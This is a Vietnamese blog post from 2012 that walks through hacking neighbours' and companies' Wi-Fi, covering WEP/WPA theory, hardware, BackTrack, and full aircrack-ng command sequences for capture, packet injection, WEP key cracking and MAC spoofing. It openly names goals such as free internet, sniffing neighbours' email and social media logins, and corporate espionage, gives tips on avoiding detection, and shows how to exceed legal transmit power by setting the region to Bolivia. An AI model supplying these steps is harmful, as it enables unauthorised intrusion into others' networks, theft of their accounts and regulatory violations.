понедельник, 26 марта 2012 г.

[Hack wi-fi] Hướng dẫn hack wifi



Hướng dẫn hack wi-fi




... Tại sao mình lại viết bài này trong khi đã có đầy rẫy những bài viết tương tự trên mạng rồi ư? chả biết ... đang rảnh =]]


Lời nói đầu


Hiện nay, hầu như nhà nào cũng được trang bị wifi hết, những sợi cáp mạng vô hình này đã phủ kín từ các thành phố lớn đến nông thôn, từ biệt thự đến căn hộ, từ công sở đến ga tầu điện. Thoạt tiên tưởng chừng như wifi nhà bạn đã được bảo vệ tối đa ("Ơ hay tôi đã đặp password rồi mà, người khác vào làm sao được?") nhưng bằng một cách nào đó, những phần tử thuộc mặt tối của ngành IT lại có thể lách qua hàng rào bảo vệ của bạn một cách dễ dàng, tự tiện xâm nhập vào mạng lưới wifi của bạn và coi đó như của sở hữu riêng. Đối với những người dùng máy tính bình thường thì đó vẫn là một kỹ thuật bí ẩn của giới Hackers được truyền từ đời này sang đời khác. Trên mạng đầy rẫy những clip hướng dẫn về cách dò pass "querty123", nhưng mình chưa từng thấy một bài viết nào giải thích tận tình "từ A đến Z" cả. Vậy nên mình quyết định lập topic này.


Chương 1. Hack wifi để làm gì?


Tại sao những công dân lương thiện hiền lành lại muốn bẻ khóa wifi hàng xóm? Sau đây là 5 lí do chính:

  1. Internet miễn phí. 15 năm trước (trước khi Counter Strike 1.0 ra đời) hàng nghìn học sinh và sinh viên đã cố tìm kiếm "internet cracker" huyền thoại một cách vô vọng, và thay vào đó, đã vô tình tải về PC của mình một đống Virus, Trojan và những thứ ghê tởm khác. Nối mạng miễn phí đã từng là một mơ ước xa vời của cả một thế hệ. Bây giờ thì mọi thứ đã thay đổi, những gói cước mạng không giới hạn dung lượng với giá rẻ bèo đầy rẫy khắp nơi, nhưng sở hữu trong tay một mạng lưới wifi khác dự phòng trường hợp bị rớt mạng hoặc bị cắt mạng vì lí do bảo trì thì cũng không phải là thừa. Hoặc những trường hợp như "Xem này, tốc độ đường truyền mạng của thằng đó nhanh hơn của tôi này" cũng là một trong những lí do.

  2. Những người hay đi du lịch hoặc công tác xa. Họ cần phải giữ liên lạc với quê hương, bạn bè và người thân thường xuyên, cũng như phải tìm tài liệu trên mạng và theo dõi thị trường. Họ không muốn xuống lễ tân mượn máy và họ muốn được hòa mạng miễn phí. Vậy họ sẽ xoay sở như thế nào nếu wifi trong khách sạn trị giá 5 euro một giờ? Trong trường hợp này thì việc hack wifi là điều tất yếu.

  3. Sniffing internet traffic của đối tượng, crack tài khoản facebook, email, yahoo, skype của hàng xóm. Có password wifi trong tay, bạn có thể giải mã toàn bộ traffic, bao gồm

    thông tin đăng nhập vào các bạn xã hội, cookies và nhiều thứ ngon ngọt khác.

  4. Mục đích gián điệp. Một mạng lưới wifi công ty được một administrator ẩu tả thiết lập sẽ trở thành cánh cổng đón chào vào mạng máy tính cục bộ của công ty, còn một khi đã vào được đó rồi thì bạn có thể tìm thấy rất nhiều thứ hay ho, từ password email & yahoo đến những tài liệu mật trong công ty.

  5. Pentesting (Penetration testing - kiểm tra an toàn hệ thống). Pentesters là những hacker được thuê với giá cao để kiểm tra bảo mật hệ thống dưới sự đồng ý của chủ sở hữu hệ thống đó.

Sau khi liếc qua danh sách những lí do chính và đánh dấu những lí do phù hợp với mình, đã đến lúc để ... không, không phải để hack, và cũng không phải để đi uống cà phê cho tỉnh táo đầu óc, mà đầu tiên chúng ta phải học lý thuyết đã.

Chương 2. WEP, WPA, HMAC, PBKDF2 và những từ đáng sợ khác Khi mạng không dây mới bắt đầu phát triển, vào năm 1997 xa xôi, những nhà khoa học Anh Quốc đã không đề cao vấn đề bảo mật lắm, nghĩ rằng mã hóa WEP với độ dài chỉa khóa 40 bit đã là quá đủ rồi, LOL. Nhưng, không may thay, các hacker độc ác cùng với một số các nhà toán học (một trong số đó là nhà toán học Andrey Pyskin của Liên Xô) đã tìm ra cách bẻ khóa WEP, và không lâu sau, những mạng wifi được mã hóa bằng WEP với chìa khóa dài tới 104 bit đã bị đánh đồng với những mạng wifi không để password. Tuy nhiên, kiến thức về vi tính của người dân đã tăng lên theo thời gian, và giờ đây, tìm ra được một mạng wifi được mã hóa bằng WEB thậm chí còn có hơn cả việc tìm ra mạng wifi không để password. Hầu hết đều dùng mã hóa WPA/WPA2.

Một trong những sai lầm thường thấy nhất là "Wifi của tôi được mã hóa bằng WPA2, không ai có thể hack được nó đâu". Thực ra quá trình authentication (cái từ dài ngoằng đáng sợ này nếu dịch ra tiếng việt thì sẽ là "Xác thực") của người dùng WPA và WPA2 chia ra làm 2 loại - loại đơn giản dành cho nhà riêng (WPA-PSK, PreShared Key, tức là dùng password để đăng nhập) và loại phức tạp dành cho các công ty (WPA-Enterprise, viết tắt là WPA-EAP). Loại thứ 2 sử dụng một server đặc biệt để thực hiện quá trình xác thực (thường là RADIUS) và may thay cho nhà sản xuất, loại thứ 2 hầu như không có lỗ hổng bảo mật nào cả. Còn WPA-PSK thì hoàn toàn ngược lại, bởi vì người dùng rất hiếm khi đổi password wifi (nhớ lại xem lần cuối cùng bạn đổi password mạng wifi của mình là bao giờ nào :) ), và những gói thông tin từ router wifi được chuyển đi mọi hướng, cũng đồng nghĩa với việc những gói thông tin đó có thể bị kẻ gian "tóm" được và sử dụng vào mục đích riêng. Đương nhiên, những người sáng lập ra WPA không hề quên đi kinh nghiệm đắng cay khi áp dụng WEP, và họ đã "trang trí" authentication procedure bằng một đống dynamic algorithm khác nhau, khiến cho các hackers không thể giải mã những gói thông tin một cách dễ dàng được. Thực ra thì những gì được gửi đi từ laptop người dùng cho router không phải là password, mà là một hash (các Hackers gọi thao tác này là "Handshake") được tạo ra bằng cách trộn lẫn một số ngẫu nhiên dài ngoằng, password và tên mạng wifi (ESSID) và nghiền nát chúng ra bằng 2 thuật toán lập phức tạp PBKDF2 và HMAC (mấu chốt của thuật toán PBKDF2 là lập đi lập lại bốn nghìn hash function với dòng "password+ESSID"). Có thể thấy rằng, mục đích lớn nhất của những người sáng lập ra WPA là khiến cho cuộc sống của các cool-hackers trở nên khó khăn hơn và loại bỏ khả năng tìm ra password một cách nhanh chóng bằng Brute force attack, bởi vì để sử dụng brute force thì các hacker sẽ phải so sánh hash-function PBKDF2/HMAC cho mỗi password, và với tốc độ xử lí của máy tính hiện nay và độ phức tạp của thuật toán 2 tầng PBKDF2/HMAC nhân lên số lượng password combinations (độ dài của một password WPA là từ 8 đến 63 ký tự, bạn nào giỏi toán tính thử số lượng combinations xem) thì thời gian tìm từ khóa sẽ kéo dài đến "Vụ nổ lớn thứ hai" mất (mà có khi còn lâu hơn). Tuy nhiên, nếu bạn để ý kĩ thì sẽ thấy có rất nhiều người dùng thích để từ khóa như "1234567890", "querty123", "111111111" v.v., vì vậy nên trong trường hợp mã hóa WPA/PSK (và cả với WPA2/PSK nữa) bạn có thể sử dụng cái mà được gọi là "tìm khóa theo từ điển", nghĩa là bạn sẽ thử những từ khóa được ghi trong từ điển những password thường gặp nhất (một từ điển trung bình thường bao gồm vài tỉ password thông dụng), và nếu hash-function PBKDF2/HMAC của một trong những từ khóa đó trùng với kết quả của handshake thì chúc mừng bạn - bạn đã dò được password!

Toàn bộ những gì được viết ở trên các bạn ... không đọc cũng chả sao :), những gì quan trọng nhất sẽ được viết ở những chương sau. Bạn chỉ cần biết rằng để có thể bẻ khóa WPA/WPA2-PSK thành công thì bạn phải tóm được handshake, biết ESSID của đối tượng và sử dụng từ điển để dò password (nếu bạn không muốn chết trước khi dò hết một nửa số lượng password combination bắt đầu từ chữ "a").

Chương 3. Phần cứng và phần mềm Sau khi tìm hiểu kĩ càng về mã hoá WEP, WPA/WPA2 và cách bẻ khoá wifi, đã đến lúc chúng ta bắt tay vào áp dụng những gì đã biết để hack wifi. Đầu tiên phải xác định xem chúng ta cần những thiết bị gì và cần những software gì (Software phải phù hợp với OS và hardware).

Để tóm handshakes thì thậm chỉ một cái netbook cổ lỗ sĩ từ đời tám ngoáy cũng dùng được. Tất cả những gì cần thiết là một cổng USB còn trống để cắm wi-fi adapter "đúng kiểu" vào (đương nhiên bạn có thể dùng wi-fi adapter được cài sẵn trong netbook, nhưng bạn chỉ có thể dùng nó khi tấn công vào mạng wifi của phòng kế bên trong kí túc xá thôi, vì sóng của nó rất yếu, khó có thể xuyên qua được một bức tường bê tông dầy cộp, huống chi bạn lại muốn giữ khoảng cách vài trăm mét với "mục tiêu" để không bị phát hiện :) ). Một trong những lợi thế lớn nhất của netbook là kích cỡ nhỏ và pin khoẻ, rất thích hợp khi đi chơi xa hoặc ngồi trong xe. Nhưng tiếc thay công suất của netbook (và cả laptop nữa) quá nhỏ để có thể thực hiện công đoạn dò khóa theo từ điển, nhưng chúng ta sẽ quay lại vấn đề này sau, bây giờ chúng ta tập trung vào handshake trước đã.

Chắc các bạn cũng thắc mắc cái mà tôi gọi là "adapter đúng kiểu" là gì đúng không? Trước hết, adapter này phải có 1 antenna với độ lợi tối thiểu là 3dbi, tốt nhất là từ 5-7 dbi, công suất đầu ra của adapter tối thiểu phải là 27 dbm. Mặt khác bạn cũng không nên quá quan tâm tới công suất của adapter, bởi lẽ tóm handshake thành công hay không thì không chỉ phụ thuộc vào công suất đầu ra mà còn phụ thuộc vào đầu vào nữa (một chiếc laptop thông thường là quá đủ).

Trong giới wardrivers thì những adapter "đúng kiểu nhất" là những adapter thuộc hãng Alpha Network của Đài Loan, ví dụ như AWUS036H hoặc mấy cái tương tự. Ngoài adapters của Alpha ra còn nhiều adapter của những hãng khác cũng thích hợp với việc wardriving, ví dụ như TL-WN7200ND của hãng TP-LINK chẳng hạn (tuy nó rẻ hơn adapter của alpha gấp ... 2 lần), và còn hàng trăm những mặt hàng của những hãng khác với chipset giống nhau nữa.

sERN7.jpg
t2dwo.gif

Chắc hẳn là bạn đã xạc đủ pin cho laptop rồi và nhanh chóng mua một cái adapter ở cửa hàng gần nhất, bạn đã được trang bị đầy đủ vũ khí để đi ra chiến trường. Bây giờ mình xin được nói đôi lời về software.

Một trong những khó khăn lớn nhất của một wardriver mới vào nghề là operating system (hệ điều hành) thông dụng nhất hiện nay là Windows. Phần lớn các driver hỗ trợ các chipset khác nhau trong Windows đều thiếu những chức năng quan trọng nhất là chuyển adapter sang chế độ "monitoring" (giám sát) và thực hiện packet injection, và điều này chỉ biến laptop của bạn thành một "con mồi" thôi chứ không thể biến nó thành "thợ săn handshakes" được. Tuy rằng trên Windows có một chương trình gọi là "Commview for wifi" nhưng nó cũng có nhiều hạn chế. Thứ nhất là nó chỉ hỗ trợ được một số chipset nhất định thôi, hơn nữa bạn sẽ phải mua nó với một cái giá rất "đẹp". Cho nên tôi khuyên các bạn không nên làm "chuyện ấy" trên windows mà thay vào đó hãy dùng một cách đơn giản hơn và vô hại đối với laptop và túi tiền của bạn hơn, đó chính là Linux. Nếu bạn đang dùng Linux thì hãy vào http://www.aircrack-ng.org/ và download toàn bộ gói aircrack-ng utility về, còn nếu không thì mời bạn ghé qua topic http://rtfalcon.blogspot.com/2012/03/huong-dan-cai-backtrack-5r1.html (hướng dẫn cài Backtrack Linux Live USB) trước, cài xong rồi hãy quay lại nha (Phiên bản backtrack LiveUSB sẽ không làm hư hại gì đến máy bạn và không ảnh hưởng gì đến ổ cứng đâu).

mv0Av.jpg Backtrack - Finish him!

Phần cứng và phần mềm đã được trang bị đầy đủ. Và đây chính là lúc bắt tay vào hack.

Chương 4. Hack WEP

Bước 1 - chỉnh chế độ wifi adapter. Đầu tiên bạn mở console lên (terminal ấy) và gõ

root@bt:~# iwconfig

wlan0     IEEE 802.11abgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=14 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

wlan1     IEEE 802.11bgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

Tốt lắm, adapter của chúng ta đã hiện lên với tên gọi wlan1 (wlan0 là adapter có sẵn trong laptop, bạn có thể tắt hẳn nó đi cho đỡ vướng cũng được). Bây giờ thì chuyển wlan1 từ chế độ Managed sang chế độ Monitor:

root@bt:~# airmon-ng stop wlan1
root@bt:~# airmon-ng start wlan1
Xem lại thành quả nào:
root@bt:~# iwconfig

wlan0     IEEE 802.11abgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=14 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

wlan1     IEEE 802.11bgn  Mode:Monitor  Tx-Power=20 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
Mọi thứ đều trôi chảy, nhưng tại sao Tx-Power lại chỉ có 20 dbm thôi? Adapter của chúng ta là 27 dBm mà? Thử tăng công suất của adapter lên nhé (đừng có viết nhầm đấy):
root@bt:~# iwconfig wlan1 txpower 27

Error for wireless request "Set Tx Power" (8B26) :
    SET failed on device wlan1 ; Invalid argument. 
Và đến đây thì các bạn bắt đầu nản chí vì không thể set power quá 20 dBm được! Vì việc set Tx-Power quá 20dBm bị cấm ở nhiều nước, nhưng không bị cấm ở Bolivia! Bạn đang tự hỏi Bolivia thì có liên quan gì ở đây, nhưng ...
root@bt:~# iw reg set BO
root@bt:~# iwconfig wlan1 txpower 27
... Vậy là xong, cảm ơn nước cộng hòa Bolivia vì đã giúp chúng ta thoát khỏi tình thế này.

Bước 2 - bắt đầu cuộc săn

Wifi adapter của chúng ta đã được chỉnh lên monitor mode với công suất mạnh nhất và đang chờ lệnh của bạn dưới cái tên mon0. Bây giờ đã đến lúc tìm "mục tiêu" để "săn packets":

root@bt:~# airodump-ng mon0
Bây h thì chú ý nhìn vào màn hình này!

Eq9rS.png Wep - một cảnh tượng hiếm có

Ở góc trên bên trái chúng ta có thể thấy công đoạn scan channel của airodump-ng (nếu bạn chỉ muốn scan 1 channel nhất định thôi thì gõ --channel ), kế đến là một danh sách những wifi network được tìm thấy với những thông tin sau đây (từ trái sang phải): BSSID (địa chỉ MAC của network), công suất thuần túy đo bằng dBm (đối với những adapter tốt thì -80dBm là hoàn toàn bình thường), số lượng Beacon frames nhận được (Beacon là một dạng frame ngắn được gởi từ AP đến các trạm client), số lượng packets nhận được và tốc độ tiếp nhận (packets/sec), channel của access point, tốc độ của access point (Mbit), authentification type (OPN - không đặt pass, WEP, WPA, WPA2), kiểu mã hóa, những chữ PSK quý báu trong trường hợp WPA/WPA2 (xem lại chương 2) , và cuối cùng là tên gọi của network, tức là ESSID.

Dưới cùng là list những client trên network (BSSID - STATION), list này cũng khá quan trọng vì nó giúp chúng ta có được hình ảnh hoàn thiện hơn về active clients.

Qua hình ảnh bên trên ta có thể thấy những network nào đang hoạt động và client nào có sóng khỏe nhất. Chỉ còn mỗi việc tìm "con mồi" (để giảm dung lượng file captured packets thì tốt nhất là chỉ capture packets từ một network nhất định thôi, sử dụng command --bssid và hạn chế số lượng channel với lệnh -c ) và đưa ra lệnh "tóm packets và khi vào file" với lệnh -w . Nên nhớ rằng nếu bạn chạy Backtrack từ DVD thì bạn phải lưu file capture ra ổ đĩa khác hoặc USB, bằng cách sử dụng lệnh mount:

root@bt:~# mkdir /mnt
root@bt:~# mount /dev/sda1 /mnt
root@bt:~# cd /mnt
/dev/sda1 là file của USB flash drive (muốn biết tên file USB của bạn thì bạn có thể dùng lệnh dmesg để xem log).

Và bây giờ, chúng ta có thể tự tin mà gõ dòng lệnh sau đây:

root@bt:~# airodump-ng -c [channel] -w [network.out] --bssid [bssid] [device]
Chiêm ngưỡng thành quả nào:

J1AjJ.png

Bây giờ thì các bạn đã có thể ra ngoài bếp pha một cốc cà phê và làm cho mình một chiếc bánh mỳ kẹp thịt nóng hổi, chờ khi nào có người nào đăng nhập vào wifi network và bắt đầu trao đổi các packets với router (xin nói trước, nếu bạn hack WPA thì khi tóm được handshake, ở góc phải bên trên sẽ hiện ra một thông báo "WPA handshake: [bssid]").

Bước 3 - replay attack

Sau khi uống hết bốn cốc cà phê và ăn hết những gì có trong tủ lạnh rồi, nhưng vẫn không đủ gói packets (hoặc không đủ handshakes trong trường hợp hack WPA) thì tự nhiên trong đầu bạn nảy ra ý tưởng bắt client gửi nhiều packets (handshakes) cho router hơn. Để làm được việc đó thì bạn có thể sử dụng chương trình aireplay-ng, được đi kèm với gói chương trình aircrack-ng. Chương trình này sẽ giả làm router và gửi cho client một gói tin giả với nội dung disconnect, sau đó client sẽ lặp lại thao tác authentication, đúng thứ mà chúng ta chờ bấy lâu. Lưu ý rằng chương trình này sẽ khiến cho tốc độ nối mạng của client chậm đi đáng kể và khiến client khó chịu, hoặc thậm chí phát hiện ra rằng wifi mình đang bị hack, cho nên đừng sử dụng nó nếu không thực sự cần thiết. Bạn bật một terminal song song và gõ:

root@bt:~# aireplay-ng -1 0 -a [bssid] -h [station] [device]
BSSID - bssid của wifi network, còn STATION là bssid của client lấy từ kết quả của hình trên (trong hình là 64:A7:69:9E:61:10). Nếu mọi việc đều trôi chảy (nhận được thông báo "Association successful :-)" thì gõ tiếp:
root@bt:~# aireplay-ng -3 -b [bssid] -h [station] [device] 
Dòng lệnh này sẽ khiến cho access point gửi đi nhiều gói packets mà chúng ta sẽ dùng để bẻ khóa WEP key.

Bước 4 - Bẻ khóa

Bây giờ bạn hãy quay lại ô cửa sổ airodump-ng ban nãy, và thấy rằng ở chỗ "#Data" đã có hơn 20 000 packets rồi (để bẻ được một khóa WEP thì thông thường cần 10000 - 30000 captured packets). Và giờ phút thăng hoa đã đến! Bạn hãy bật một ô cửa sổ terminal khác và gõ lệnh:

root@bt:~# aircrack-ng -n 128 -b [bssid] [filename]-01.cap
"-n 128" có nghĩa là bạn đang muốn bẻ khóa WEP 128 bit, nếu không thành công thì hãy thử với "-n 64".

ypaO0.png

Xong xuôi. Bạn đã hack được chìa khóa WEP và bây giờ chỉ việc bỏ những dấu ":" đi và điền pass vào thôi (trong hình minh họa thì password là "1234561233"). Lưu ý rằng nếu wifi network bạn đang hack không cho phép địa MAC lạ đăng nhập thì bạn có thể đổi địa chỉ MAC của mình sang một trong những địa chỉ MAC được cho phép trong network, đợi khi user disconnect rồi thì bạn đăng nhập vào và sử dụng wifi thoải mái. Để đổi được MAC address của adapter bạn phải gõ những dòng lệnh sau đây:

root@bt:~# airmon-ng stop [device]
root@bt:~# ifconfig down [interface]
root@bt:~# macchanger --mac [new bssid] [device]
root@bt:~# airmon-ng start [device]

Vậy là các bạn đã biết được những gì cơ bản nhất trong việc hack WEP rồi :) ở chương sau (tức là chương 5) mình sẽ hướng dẫn các bạn cách dò khoá theo từ điển để hack WPA/WPA2 ... ... to be continued ....

Комментариев нет:

Отправить комментарий